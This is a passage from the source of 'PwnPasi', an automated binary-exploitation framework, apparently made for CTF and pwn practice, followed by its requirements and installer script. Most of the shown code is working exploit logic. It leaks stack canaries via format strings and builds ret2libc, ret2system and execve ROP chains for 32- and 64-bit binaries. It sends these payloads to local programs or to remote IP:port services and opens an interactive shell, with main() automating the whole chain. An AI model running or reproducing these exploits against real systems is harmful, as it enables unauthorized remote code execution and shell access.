e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_addr = int(pop_ecx_addr, 16) pop_ecx_addr = p32(pop_ecx_addr) pop_ebx_addr = int(pop_ebx_addr, 16) pop_ebx_addr = p32(pop_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print('\033[31m[*]PWN!!!\033[0m') io.interactive() def ret2libc_write_x32_canary_remote(program,libc,padding,url,port,c,diff): io = remote(url,port) if libc == 1: if libc_path == None: print('[*]Using LibcSearcher') else: print('[*]User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p32(result) payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)]) io.recv() io.sendline(payload1) write_addr = u32(io.recv(4)) print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') if libc == 1: libc = LibcSearcher("write",write_addr) libcbase = write_addr - libc.dump('write') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = write_addr - libc_write + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = write_addr - libc_write + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)]) io.recv() io.sendline(payload2) io.interactive() def ret2libc_write_x64_canary_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port, c, diff): io = remote(url, port) if libc == 1: if libc_path == None: print('[*]Using LibcSearcher') else: print('[*]User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] if other_rsi_registers == 1: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding, canary, b'AAAAAAAA' * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(0), p64(write_plt), p64(main_addr)]) io.recv() io.sendline(payload1) elif other_rdi_registers == 1: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), p64(0), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)]) io.recv() io.sendline(payload1) elif other_rdi_registers == 0 and other_rsi_registers == 0: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)]) io.recv() io.sendline(payload1) write_addr = u64(io.recv(8)) print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') if libc == 1: libc = LibcSearcher("write", write_addr) libcbase = write_addr - libc.dump('write') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = write_addr - libc_write + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = write_addr - libc_write + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() result = int(result, 16) canary = p64(result) ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) elif other_rdi_registers == 0: payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr)]) io.recv() io.sendline(payload2) io.interactive() def ret2_system_x32_canary_remote(program, libc, padding, url, port, c, diff): io = remote(url, port) e = ELF(program) system_addr = e.symbols['system'] print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)]) io.sendline(payload) io.interactive() def ret2_system_x64_canary_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port, c, diff): if pop_rdi_addr == None: print("pop rdi instruction does not exist, cannot exploit") sys.exit(0) io = remote(url, port) e = ELF(program) system_addr = e.symbols['system'] print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p64(result) pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) elif other_rdi_registers == 0: payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) io.sendline(payload) io.interactive() def execve_syscall_canary_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port, c, diff): if pop_ecx_addr == None: io = remote(url, port) e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print('\033[31m[*]PWN!!!\033[0m') io.interactive() else: io = remote(url, port) e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_addr = int(pop_ecx_addr, 16) pop_ecx_addr = p32(pop_ecx_addr) pop_ebx_addr = int(pop_ebx_addr, 16) pop_ebx_addr = p32(pop_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print('\033[31m[*]PWN!!!\033[0m') io.interactive() def main(): """Main function with improved argument parsing and flow""" print_banner() parser = argparse.ArgumentParser( description="PwnPasi - Automated Binary Exploitation Framework", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python pwnpasi.py -l ./target_binary python pwnpasi.py -l ./target_binary -f 112 python pwnpasi.py -l ./target_binary -libc ./libc-2.19.so python pwnpasi.py -l ./target_binary -ip 192.168.1.100 -p 9999 """ ) parser.add_argument('-l', '--local', type=str, required=True, help='Target binary file (required)') parser.add_argument('-ip', '--ip', type=str, help='Remote target IP address') parser.add_argument('-p', '--port', type=int, help='Remote target port') parser.add_argument('-libc', '--libc', type=str, help='Path to libc file') parser.add_argument('-f', '--fill', type=int, help='Manual overflow padding size') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') args = parser.parse_args() # Validate arguments if not os.path.exists(args.local): print_error(f"target binary not found: {args.local}") sys.exit(1) if (args.ip and not args.port) or (args.port and not args.ip): print_error("both IP and port must be specified for remote exploitation") sys.exit(1) # Initialize target information program = add_current_directory_prefix(args.local) libc_path = None bin_sh = 0 # Initialize bin_sh variable # Initialize exploit_info with basic information global exploit_info exploit_info['target_binary'] = os.path.basename(args.local) exploit_info['timestamp'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") print_info(f"target binary: {Colors.YELLOW}{program}{Colors.END}") if args.ip and args.port: print_info(f"remote target: {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") remote_mode = True else: print_info("local exploitation mode") remote_mode = False # Set up libc if args.libc: if not os.path.exists(args.libc): print_error(f"libc file not found: {args.libc}") sys.exit(1) libc = args.libc print_info(f"using custom libc: {Colors.YELLOW}{libc}{Colors.END}") else: libc = 1 libc_path = detect_libc(program) print_section_header("BINARY ANALYSIS PHASE") # Set permissions print_info("setting executable permissions") if not set_permission(program): print_warning("failed to set permissions, continuing anyway") # Collect binary information print_info("collecting binary security information") info_dict, stack_protection, rwx_segments, bit_arch, pie_enabled = collect_binary_info(program) display_binary_info(info_dict) print_section_header("FUNCTION ANALYSIS") # Analyze functions print_info("scanning PLT functions") function_addresses = scan_plt_functions(program) function_flags = set_function_flags(function_addresses) # Set global function flags for func, available in function_flags.items(): globals()[func] = available print_section_header("ROP GADGET DISCOVERY") # Find ROP gadgets based on architecture if bit_arch == 64: print_info("searching for x64 ROP gadgets") pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers = find_rop_gadgets_x64(program) else: print_info("searching for x32 ROP gadgets") (pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, eax, ebx, ecx, edx) = find_rop_gadgets_x32(program) print_section_header("PADDING CALCULATION") # Determine padding if args.fill: padding = args.fill print_info(f"using manual padding: {Colors.YELLOW}{padding}{Colors.END} bytes") else: print_info("performing dynamic stack overflow testing") padding = test_stack_overflow(program, bit_arch) if padding != 0: # Apply assembly-based padding adjustment adjusted_padding = asm_stack_overflow(program, bit_arch) if adjusted_padding: padding = adjusted_padding # Display vulnerable function information results = vuln_func_name() if results: print_section_header("VULNERABLE FUNCTIONS IDENTIFIED") for func_name in results: print_success(f"vulnerable function: {Colors.RED}{func_name}{Colors.END}") print_section_header("ASSEMBLY CODE ANALYSIS") for func_name in results: print_info(f"disassembling function: {Colors.YELLOW}{func_name}{Colors.END}") os.system("objdump -d -M intel " + program + " --no-show-raw-insn | grep -A20 " + '"' + func_name + '"') else: # Try static analysis static_padding = analyze_vulnerable_functions(program, bit_arch) if static_padding: padding = static_padding print_success(f"static analysis found padding: {Colors.YELLOW}{padding}{Colors.END} bytes") print_section_header("STRING ANALYSIS") # Check for /bin/sh string print_info("searching for /bin/sh string in binary") bin_sh = check_binsh_string(program) # Handle canary protection (following pwnpasi_base.py logic) if stack_protection == 1: print_section_header("CANARY PROTECTION DETECTED") print_warning("canary protection is enabled") print_info("testing for format string vulnerability to bypass canary") fmtstr = detect_format_string_vulnerability(program) if fmtstr == 1: print_success("format string vulnerability detected") print_info("attempting to leak canary value") leakage_canary_value(program) padding, c, diff = canary_fuzz(program, bit_arch) if padding == None and c == None and diff == None: print_error("failed to leak canary value") else: print_success("canary value successfully leaked") if args.ip and args.port: print_section_header("REMOTE EXPLOITATION") print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") if globals().get('system', 0) == 1 and bin_sh == 1: if bit_arch == 32: ret2_system_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) sys.exit(0) if bit_arch == 64: ret2_system_x64_canary_remote(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,args.ip,args.port,c,diff) sys.exit(0) if globals().get('puts', 0) == 1: if bit_arch == 32: ret2libc_put_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) sys.exit(0) if bit_arch == 64: ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff) sys.exit(0) if globals().get('write', 0) == 1: if bit_arch == 32: ret2libc_write_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) sys.exit(0) if bit_arch == 64: ret2libc_write_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff) sys.exit(0) if bit_arch == 32: if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: execve_syscall_canary_remote(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,args.ip,args.port,c,diff) sys.exit(0) else: print_section_header("LOCAL EXPLOITATION") print_info("executing local binary exploitation") if globals().get('system', 0) == 1 and bin_sh == 1: if bit_arch == 32: ret2_system_canary_x32(program,libc,padding,libc_path,c,diff) sys.exit(0) if bit_arch == 64: ret2_system_canary_x64(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,libc_path,c,diff) sys.exit(0) if globals().get('puts', 0) == 1: if bit_arch == 32: ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff) sys.exit(0) if bit_arch == 64: ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff) sys.exit(0) if globals().get('write', 0) == 1: if bit_arch == 32: ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff) sys.exit(0) if bit_arch == 64: ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff) sys.exit(0) if bit_arch == 32: if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: execve_canary_syscall(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,c,diff) sys.exit(0) sys.exit(0) else: print_error("no format string vulnerability found for canary bypass") print_warning("canary protection cannot be bypassed with current methods") # Stack overflow detection (following pwnpasi_base.py logic) if not args.fill: #print_section_header("VULNERABILITY ANALYSIS") #print_info("testing for stack overflow vulnerability") padding = test_stack_overflow(program, bit_arch) if padding != 0: padding = asm_stack_overflow(program, bit_arch) #print_success(f"stack overflow vulnerability detected with padding: {Colors.YELLOW}{padding}{Colors.END} bytes") results = vuln_func_name() else: print_warning("no stack overflow vulnerability detected through dynamic testing") print_section_header("EXPLOITATION PHASE") print_info("initializing exploitation attempts") # Format string vulnerability handling when no stack overflow if padding == 0: print_section_header("FORMAT STRING VULNERABILITY ANALYSIS") print_info("testing for format string vulnerability") fmtstr = detect_format_string_vulnerability(program) if check_binsh(program): print_success('/bin/sh string found in binary') bin_sh = 1 else: print_warning('/bin/sh string not found in binary') bin_sh = 0 if args.ip and args.port: print_section_header("REMOTE FORMAT STRING EXPLOITATION") print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") if globals().get('system', 0) == 1 and bin_sh == 1: print_info('attempting to leak program strings via format string') fmtstr_print_strings_remote(program, args.ip, args.port) try: offset = find_offset(program) log.info(f"Offset found: \033[31m{offset}\033[0m") result = find_ftmstr_bss_symbols(program) if len(result) == 3: function, buf_addr, function_name = result system_fmtstr_remote(program, offset, buf_addr, args.ip, args.port) except ValueError: print('[*]Offset not found, continuing with other exploitation methods') sys.exit(0) else: print_warning('system function or /bin/sh not available, attempting string leak only') fmtstr_print_strings_remote(program, args.ip, args.port) sys.exit(0) else: print_section_header("LOCAL FORMAT STRING EXPLOITATION") print_info("executing local format string exploitation") if globals().get('system', 0) == 1 and bin_sh == 1: print_info('attempting to leak program strings via format string') fmtstr_print_strings(program) try: offset = find_offset(program) log.info(f"Offset found: \033[31m{offset}\033[0m") result = find_ftmstr_bss_symbols(program) if len(result) == 3: function, buf_addr, function_name = result system_fmtstr(program, offset, buf_addr) except ValueError: print('[*]Offset not found, continuing with other exploitation methods') sys.exit(0) else: print_warning('system function or /bin/sh not available, attempting string leak only') fmtstr_print_strings(program) sys.exit(0) else: # Stack overflow exploitation (following pwnpasi_base.py logic) if args.ip and args.port: print_section_header("REMOTE STACK OVERFLOW EXPLOITATION") print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") if pie_enabled == 1 and globals().get('backdoor', 0) == 1: print_warning("PIE protection detected, but backdoor function available") print_info("initiating PIE bypass via backdoor function brute force") pie_backdoor_exploit_remote(program, padding, globals().get('backdoor', 0), libc_path, libc, args.ip, args.port, globals().get('callsystem', 0)) sys.exit(0) if globals().get('system', 0) == 1 and bin_sh == 1: if bit_arch == 32: ret2_system_x32_remote(program, libc, padding, args.ip, args.port) sys.exit(0) if bit_arch == 64: ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, args.ip, args.port) sys.exit(0) if globals().get('write', 0) == 1: if bit_arch == 32: ret2libc_write_x32_remote(program, libc, padding, args.ip, args.port) sys.exit(0) if bit_arch == 64: ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port) sys.exit(0) if globals().get('puts', 0) == 1: if bit_arch == 32: ret2libc_put_x32_remote(program, libc, padding, args.ip, args.port) sys.exit(0) if bit_arch == 64: ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port) sys.exit(0) if rwx_segments == 1: if bit_arch == 32: function, buf_addr, function_name = find_large_bss_symbols(program) if function == 1: rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port) sys.exit(0) if bit_arch == 64: function, buf_addr, function_name = find_large_bss_symbols(program) if function == 1: rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port) sys.exit(0) if bit_arch == 32: if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, args.ip, args.port) sys.exit(0) else: print_section_header("LOCAL STACK OVERFLOW EXPLOITATION") print_info("executing local stack overflow exploitation") if pie_enabled == 1 and globals().get('backdoor', 0) == 1: print_warning("PIE protection detected, but backdoor function available") print_info("initiating PIE bypass via backdoor function brute force") pie_backdoor_exploit(program, padding, globals().get('backdoor', 0), libc_path, libc, globals().get('callsystem', 0)) sys.exit(0) if globals().get('system', 0) == 1 and bin_sh == 1: if bit_arch == 32: ret2_system_x32(program, libc, padding, libc_path) sys.exit(0) if bit_arch == 64: ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path) sys.exit(0) if globals().get('write', 0) == 1: if bit_arch == 32: ret2libc_write_x32(program, libc, padding, libc_path) sys.exit(0) if bit_arch == 64: ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path) sys.exit(0) if globals().get('puts', 0) == 1: if bit_arch == 32: ret2libc_put_x32(program, libc, padding, libc_path) sys.exit(0) if bit_arch == 64: ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path) sys.exit(0) if rwx_segments == 1: if bit_arch == 32: function, buf_addr, function_name = find_large_bss_symbols(program) if function == 1: rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr) sys.exit(0) if bit_arch == 64: function, buf_addr, function_name = find_large_bss_symbols(program) if function == 1: rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path) sys.exit(0) if bit_arch == 32: if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80) sys.exit(0) if __name__ == '__main__': try: main() except KeyboardInterrupt: print_error("\ninterrupted by user") sys.exit(1) except Exception as e: print_critical(f"unexpected error: {e}") sys.exit(1) ================================================ FILE: requirements.txt ================================================ pwntools>=4.9.0 LibcSearcher>=1.1.5 ropper>=1.13.5 python-docx>=0.8.11 ================================================ FILE: setup.py ================================================ #!/usr/bin/env python3 import os import sys import time import subprocess from setuptools import setup, find_packages # 科技化颜色方案 class Colors: CYAN = '\033[96m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BLUE = '\033[94m' MAGENTA = '\033[95m' WHITE = '\033[97m' BOLD = '\033[1m' DIM = '\033[2m' END = '\033[0m' BLINK = '\033[5m' def print_banner(): banner = f"""{Colors.CYAN}{Colors.BOLD} ██████╗ ██╗ ██╗███╗ ██╗██████╗ █████╗ ███████╗██╗ ██╔══██╗██║ ██║████╗ ██║██╔══██╗██╔══██╗██╔════╝██║ ██████╔╝██║ █╗ ██║██╔██╗ ██║██████╔╝███████║███████╗██║ ██╔═══╝ ██║███╗██║██║╚██╗██║██╔═══╝ ██╔══██║╚════██║██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ██║ ██║███████║██║ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ {Colors.END} {Colors.MAGENTA} ╔══════════════════════════════════════════════════════╗ ║ {Colors.WHITE}{Colors.BOLD}ADVANCED PWN EXPLOITATION FRAMEWORK{Colors.END}{Colors.MAGENTA} ║ ║ {Colors.YELLOW}Setup & Installation{Colors.END}{Colors.MAGENTA} ║ ╚══════════════════════════════════════════════════════╝{Colors.END} """ print(banner) time.sleep(0.5) def print_progress_bar(current, total, task_name, width=50): progress = current / total filled = int(width * progress) bar = '█' * filled + '░' * (width - filled) percentage = int(progress * 100) print(f"\r{Colors.CYAN}[{Colors.YELLOW}◉{Colors.CYAN}]{Colors.END} {task_name}: {Colors.MAGENTA}[{bar}]{Colors.END} {Colors.BOLD}{percentage}%{Colors.END}", end='', flush=True) if current == total: print(f" {Colors.GREEN}✓{Colors.END}") def print_status(status_type, message): icons = { 'info': f'{Colors.CYAN}[{Colors.WHITE}◉{Colors.CYAN}]{Colors.END}', 'success': f'{Colors.GREEN}[{Colors.WHITE}✓{Colors.GREEN}]{Colors.END}', 'warning': f'{Colors.YELLOW}[{Colors.WHITE}⚠{Colors.YELLOW}]{Colors.END}', 'error': f'{Colors.RED}[{Colors.WHITE}✗{Colors.RED}]{Colors.END}', 'process': f'{Colors.MAGENTA}[{Colors.WHITE}⟳{Colors.MAGENTA}]{Colors.END}' } timestamp = time.strftime('%H:%M:%S') print(f"{icons[status_type]} {Colors.DIM}[{timestamp}]{Colors.END} {message}") def run_command(command, error_message): try: result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return result except subprocess.CalledProcessError as e: print_status('error', f"{error_message}") print(f" {Colors.RED}└─ {e.stderr.strip()}{Colors.END}") sys.exit(1) def install_system_dependencies(): dependencies = [ # Add system dependencies here if needed ] if not dependencies: print_status('info', f"No system dependencies required") return print_status('process', f"Updating package repositories...") for i in range(1, 4): print_progress_bar(i, 3, "Repository sync", 40) time.sleep(0.3) run_command(['sudo', 'apt', 'update'], "Failed to update package list") print_status('success', "Package repositories updated") for i, (pkg, desc) in enumerate(dependencies, 1): print_status('process', f"Installing {desc} ({pkg})...") for j in range(1, 6): print_progress_bar(j, 5, f"Installing {pkg}", 35) time.sleep(0.2) run_command(['sudo', 'apt', 'install', '-y', pkg], f"Failed to install {pkg}") print_status('success', f"{desc} installed successfully") def install_system_packages_for_pwntools(): """Install system packages required for pwntools on Kali/Debian""" kali_packages = [ ('python3-dev', 'Python development headers'), ('python3-pip', 'Python package installer'), ('build-essential', 'Build tools'), ('libssl-dev', 'SSL development libraries'), ('libffi-dev', 'FFI development libraries'), ('python3-setuptools', 'Python setuptools'), ('libc6-dev', 'C library development files'), ('gcc', 'GNU Compiler Collection') ] print_status('process', "Installing system packages for pwntools...") # Update package list first try: subprocess.run(['sudo', 'apt', 'update'], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', "Package list updated") except subprocess.CalledProcessError: print_status('warning', "Failed to update package list, continuing...") for pkg, desc in kali_packages: try: print_status('info', f"Installing {desc}...") subprocess.run(['sudo', 'apt', 'install', '-y', pkg], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', f"{desc} installed") except subprocess.CalledProcessError: print_status('warning', f"Failed to install {pkg}, may already be installed") def install_python_dependencies(): python_deps = [ ('pwntools>=4.9.0', 'PWN exploitation toolkit'), ('LibcSearcher>=1.1.5', 'Libc database searcher'), ('ropper>=1.13.5', 'ROP gadget finder') ] print_status('process', "Installing Python dependencies...") # Check if we're on Kali/Debian and install system packages first if os.path.exists('/etc/debian_version'): print_status('info', "Detected Debian/Kali system, installing system dependencies...") install_system_packages_for_pwntools() for i, (pkg, desc) in enumerate(python_deps, 1): print_status('info', f"Installing {desc}...") for j in range(1, 6): print_progress_bar(j, 5, f"Installing {pkg.split('>=')[0]}", 35) time.sleep(0.2) # Try multiple installation methods success = False # Method 1: Regular pip install try: subprocess.run([sys.executable, '-m', 'pip', 'install', pkg], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', f"{desc} installed successfully") success = True except subprocess.CalledProcessError as e: print_status('warning', f"Standard pip install failed for {pkg}") # Method 2: Try with --user flag if not success: try: subprocess.run([sys.executable, '-m', 'pip', 'install', '--user', pkg], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', f"{desc} installed successfully (user mode)") success = True except subprocess.CalledProcessError: print_status('warning', f"User pip install failed for {pkg}") # Method 3: Try with --break-system-packages (for newer pip versions) if not success: try: subprocess.run([sys.executable, '-m', 'pip', 'install', '--break-system-packages', pkg], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', f"{desc} installed successfully (system override)") success = True except subprocess.CalledProcessError: print_status('warning', f"System override pip install failed for {pkg}") # Method 4: Try apt install for pwntools on Kali if not success 